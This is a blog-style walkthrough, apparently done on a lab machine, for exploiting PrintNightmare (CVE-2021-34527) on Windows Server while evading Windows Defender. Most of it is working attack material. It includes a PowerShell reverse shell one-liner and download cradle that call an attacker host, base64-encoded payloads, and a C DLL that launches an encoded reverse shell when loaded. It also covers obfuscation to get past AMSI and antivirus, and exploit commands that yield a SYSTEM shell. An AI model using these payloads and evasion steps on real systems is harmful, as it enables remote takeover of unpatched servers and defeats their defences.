PrintNightmare Bypassing Windows Defender Link to heading

‘PringtNightmare bypassing Windows Defender’ Avatar


Summary Link to heading

In this post we will learn how to exploit PrintNightmare (also known as CVE-2021-34527) in a potential vulnerable system; specially for Windows Servers 2019 versions and earlier. When we try to abuse this vulnerability it might get stopped by Windows Defender. Nevertheless, with some obfuscation and custom codes it is relatively easy to bypass it as we will see here.


Identifying if a victim machine could be vulnerable to PrintNightmare Link to heading

In my experience, it is always worth to give it a try to this exploit for Windows Server 2019 or earlier versions. Since they might not be patched for this vulnerability.

First of all, to check if a victim machine could be vulnerable to PrintNightmare we need to check if MS-RPRN and MS-PAR protocols are enabled in the victim machine.

MS-RPRN protocol, based on Microsoft Documentation can be defined as:

Info
Print System Remote Protocol: defines the communication of print job processing and print system management between a print client and a print server.

and MS-PAR:

Info
Print System Asynchronous Remote Protocol: defines the communication of print job processing and print system management information between a print client and a print server.

These are the protocols used by a printer on the system.

We can easily identify if these protocols are enabled in a machine we have connection with using rpcdump from Impacket with the command:

impacket-rpcdump @<SERVER-IP>

But this will throw a lot of output. We can therefore filter by MS-RPRN and MS-PAR protocols with grep. For example, let’s say that our target IP address is 192.168.56.116, we then execute:

❯ impacket-rpcdump @192.168.56.116 | grep -E 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol

Where, as a response, we can see both protocols mentioned.

If we want to see the service using one of these protocols we can just read some lines after the output, for example, for MS-RPRN:

❯ impacket-rpcdump @192.168.56.116 | grep -A 4 'MS-RPRN'

Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe
UUID    : 12345678-1234-ABCD-EF00-0123456789AB v1.0
Bindings:
          ncalrpc:[LRPC-ed930673dd60cc67be]

Shows that the protocol is being used by spoolsv.exe, which is the API server to administer print services as is explained on Microsoft Documentation as well.

Explotation from the inside… but stopped by Windows Defender Link to heading

Suppose that we have access to a victim machines through some credentials we have previously found. For example, let’s say that we have found the credentials for a username called appolonia whose password is 5umm3r@ in a domain CONS.THL.

Additionally, let’s assume that this user can gain access to the victim machine through a service like Windows Remote Management (WinRM). We can then connect as this user to the victim machine using a tool like evil-winrm:

❯ evil-winrm -u 'appolonia' -p '5umm3r@' -i 192.168.56.116

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\appolonia\Documents>

We can check that this user has no interesting privileges:

*Evil-WinRM* PS C:\Users\appolonia\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

and no interesting groups:

*Evil-WinRM* PS C:\Users\appolonia\Documents> net user appolonia

User name                    appolonia
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            04/11/2024 10:02:18
Password expires             Never
Password changeable          05/11/2024 10:02:18
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   29/11/2024 20:16:32

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Support
The command completed successfully.

Now, the next step. Let’s import a Powershell module for PrintNightmare. For this we can clone this repository, or just download the CVE-2021-34527.ps1 file in our attacker machine:

❯ wget https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/refs/heads/master/CVE-2021-34527.ps1

and transfer this file to the victim machine, renaming it as printer.ps1 using upload function from evil-winrm:

*Evil-WinRM* PS C:\Users\appolonia\Documents> upload CVE-2021-34527.ps1 printer.ps1

Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Curiosity2/exploits/CVE-2021-34527.ps1 to C:\Users\appolonia\Documents\printer.ps1

Data: 238084 bytes of 238084 bytes copied

Info: Upload successful!

But here comes the problem. When we want to import the module Windows Defender recognizes it as malicious content:

*Evil-WinRM* PS C:\Users\appolonia\Documents> Import-Module .\printer.ps1

At C:\Users\appolonia\Documents\printer.ps1:1 char:1
+ function Invoke-Nightmare
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At C:\Users\appolonia\Documents\printer.ps1:1 char:1
+ function Invoke-Nightmare
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

As usual, we could try to obfuscate the code of .ps1 file, but the file is a little bit long and it might take some time. Instead we can attempt other things.

Requesting reverse shell… blocked again by Windows Defender Link to heading

Additionally, we can check if Windows Defender block us when we attempt to get a reverse shell. The plan to know if we are being blocked by Windows Defender (if we are running commands from the outside of the machine and we are only injecting “blind” commands) is simple:

  1. Create a Powershell file that will send us a reverse shell.
  2. Create a “cradle” (a simple Powershell command) that will be exposed in a temporal HTTP server. This “cradle” will send a request invoking the Powershell script described in step 1 to our attacker machine.
  3. Request the “cradle” and check if Windows Defender blocks it.

A typical reverse shell for Powershell can be obtained from a oneliner script from Nishang (actually, Powershell #3 (Base64) from Reverse Shell Generator, or https://www.revshells.com/, is this oneliner). For example, extracting the important part of the file (third line), slightly modifying it to obtain a shell we get:

$client = New-Object System.Net.Sockets.TCPClient('192.168.56.2',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

where 192.168.56.2 is our attacker IP address and 443 the port we will start listening to get a reverse shell. Let’s save this content in a file named rev.ps1.

Then create the “cradle”. This file will just request rev.ps1 through Powershell:

IEX(New-Object Net.WebClient).downloadString('http://<Attacker-IP>:<Port>/<Module-PS-name>')

or in our example:

IEX(New-Object Net.WebClient).downloadString('http://192.168.56.2:8080/rev.ps1')

To execute this on Powershell we need to pass characters from utf-8 to utf-16le encoding (that is just how Powershell interpret things) and then encode it to base64. We can easily do this running in a terminal:

❯ cat cradle | iconv -t utf-16le | base64 -w0 ; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAyADoAOAAwADgAMAAvAHIAZQB2AC4AcABzADEAJwApAAoA

if we have saved cradle in a file. We also can do this without a file:

❯ echo -n 'IEX(New-Object Net.WebClient).downloadString("http://192.168.56.2:8080/rev.ps1")' | iconv -t utf-16le | base64 -w0 ; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAyADoAOAAwADgAMAAvAHIAZQB2AC4AcABzADEAIgApAA==

Start a listener with netcat on port 443 (along with rlwrap to work more easily with the reverse shell) as we defined on rev.ps1 file:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Then, start a temporal HTTP Python server on port 8080 (as we defined for in cradle) exposing these files:

❯ ls -la && python -m http.server 8080

total 8
drwxrwxr-x  2 gunzf0x gunzf0x  80 Dec  5 02:20 .
drwxrwxrwt 18 root    root    400 Dec  5 02:21 ..
-rw-rw-r--  1 gunzf0x gunzf0x  81 Dec  5 02:19 cradle
-rw-rw-r--  1 gunzf0x gunzf0x 502 Dec  5 02:20 rev.ps1
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Finally, execute the Powershell encoded command in the victim machine:

*Evil-WinRM* PS C:\Users\appolonia\Documents> powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAyADoAOAAwADgAMAAvAHIAZQB2AC4AcABzADEAJwApAAoA

<SNIP>
    + FullyQualifiedErrorId : NativeCommandError
powershell.exe :     + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.Invok

    + CategoryInfo          : NotSpecified: (    + FullyQual...mmands.Invok
<SNIP>

But we get blocked:

PrintNightmare 1

As we can see, we have obtained a request for rev.ps1 file, but never obtained a shell.

So far we have found 2 problems:

  1. We cannot execute PrintNightmare exploit directly in the victim machine.
  2. We cannot get a reverse shell. We therefore need to find a way to bypass these 2 problems.

Exploiting PrintNightmare bypassing Windows Defender Link to heading

The plan to execute is simple:

  1. Execute externally PrintNightmare.
  2. Use the script abusing the vulnerability to load and execute a malicious .dll file.
  3. Use that .dll file to obtain a reverse shell.

PrintNightmare 6

Get reverse shell avoiding Windows Defender Link to heading

To obtain this, we can apply obfuscation to the previously shown Nishang oneliner. For example, we could rename the variables client to c, sendbyte to sb, delete Path variable and so on…

We could do this “manually”, but some time ago I created a script for HackTheBox Mist machine that does exactly this, encodes the code and starts automatically a HTTP server (basically, all the steps previously explained, but with an obfuscated code). It can be downloaded from my Github repository. Once cloned/downloaded, we can just execute it in a server mode with our attacker IP address and port to obtain a reverse shell:

❯ python3 BypassAMSI_PSRevshell.py server -i 192.168.56.2 -p 443

server mode will automatically start a HTTP server on port 8000.

The script should generate a payload. Pass that payload to the session in evil-winrm and execute it. We should get a shell as follows:

PrintNightmare 2

We avoided Windows Defender and obtained a reverse shell.

Execute PrintNightmare externally Link to heading

For this purpose I will use this repository from ly4k for PrintNightmare that provides a Python script that only requires Impacket libraries (we can install them running pip3 install impacket). Clone the repository into our attacker machine. Checking the repository provides two (2) ways to exploit it.

Remote DLL Link to heading

We can create a malicious .dll file with malicious content. However, for this DO NOT use msfvenom since it will be blocked by Windows Defender as well. Instead, we can create a simple code in C that creates a .dll file and executes a system command:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void execute_system_program() {
    // Command to execute (e.g., launching cmd.exe)
    system("<command>");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // When the DLL is loaded, execute the system program
        execute_system_program();
    }
    return TRUE;
}

We can, then pass as <command> the encoded payload for Powershell, so the file is now:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void execute_system_program() {
    // Command to execute (e.g., launching cmd.exe)
    system("powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAyADoAOAAwADAAMAAvAHIAZQB2AHMAaABlAGwAbAAuAHAAcwAxACIAKQA=");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // When the DLL is loaded, execute the system program
        execute_system_program();
    }
    return TRUE;
}

Let’s name this .c file as create_exploit.c.

We could compile the .c file into a Windows machine, or we could use mingw to compile it on a Linux machine (that can be installed with sudo apt install mingw-w64). Compile the .dll file:

❯ x86_64-w64-mingw32-gcc -shared -o pwn3d.dll create_exploit.c

Where we have named the compiled file as pwn3d.dll.

We need to expose the remote files through SMB. For that we can simply use impacket-smbserver in the directory where the .dll malicious file is located:

❯ impacket-smbserver smbFolder $(pwd) -smb2support

Start the HTTP server containing the payload:

❯ python3 BypassAMSI_PSRevshell.py server -i 192.168.56.2 -p 443

Start the listener with netcat on the specified port:

❯ rlwrap -cAr nc -lvnp 443

Finally, just use ly4k PrintNightmare script for remote files using some user credentials (in this case, appolonia credentials):

❯ python3 printnightmare.py -dll '\\192.168.56.2\smbFolder\pwn3d.dll' 'appolonia':'5umm3r@'@192.168.56.116

The attack should look like:

PrintNightmare 3

As we can see, we get a shell as nt authority/system. i.e., maximum privileges on the system.

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.56.2] from (UNKNOWN) [192.168.56.116] 50880
whoami
nt authority\system

Local DLL Link to heading

Instead of using a cradle, I have also designed my script to create a reverse shell oneliner that will directly send a reverse shell from the victim machine to our attacker machine (the same command from https://www.revshells.com/, but obfuscated). We can use revshell command to achieve this:

❯ python3 BypassAMSI_PSRevshell.py revshell -i 192.168.56.2 -p 443 --no-banner

[*] Payload successfully generated. Execute the following command in the target machine:

powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMgAnACwANAA0ADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==

(don't forget to start listener on port 443)

Copy the generated payload, and put it inside create_exploit.c, so now it looks like:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void execute_system_program() {
    // Command to execute (e.g., launching cmd.exe)
    system("powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMgAnACwANAA0ADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // When the DLL is loaded, execute the system program
        execute_system_program();
    }
    return TRUE;
}

Compile it with mingw as file.dll:

❯ x86_64-w64-mingw32-gcc -shared -o file.dll create_exploit.c

Upload it using evil-winrm session:

*Evil-WinRM* PS C:\Users\appolonia\Documents> upload file.dll

Info: Uploading /tmp/tests/file.dll to C:\Users\appolonia\Documents\file.dll

Data: 116084 bytes of 116084 bytes copied

Info: Upload successful!

Start a netcat listener on the specified port (443 in our example):

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

And execute the exploit requesting a local file, passing the absolute path of the malicious .dll uploaded file and credentials of a user:

❯ python3 printnightmare.py -dll 'C:\Users\appolonia\Documents\file.dll' 'appolonia':'5umm3r@'@192.168.56.116

PrintNightmare 4

We get, again, a shell as nt authority/system:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.56.2] from (UNKNOWN) [192.168.56.116] 50903
whoami
nt authority\system
PS >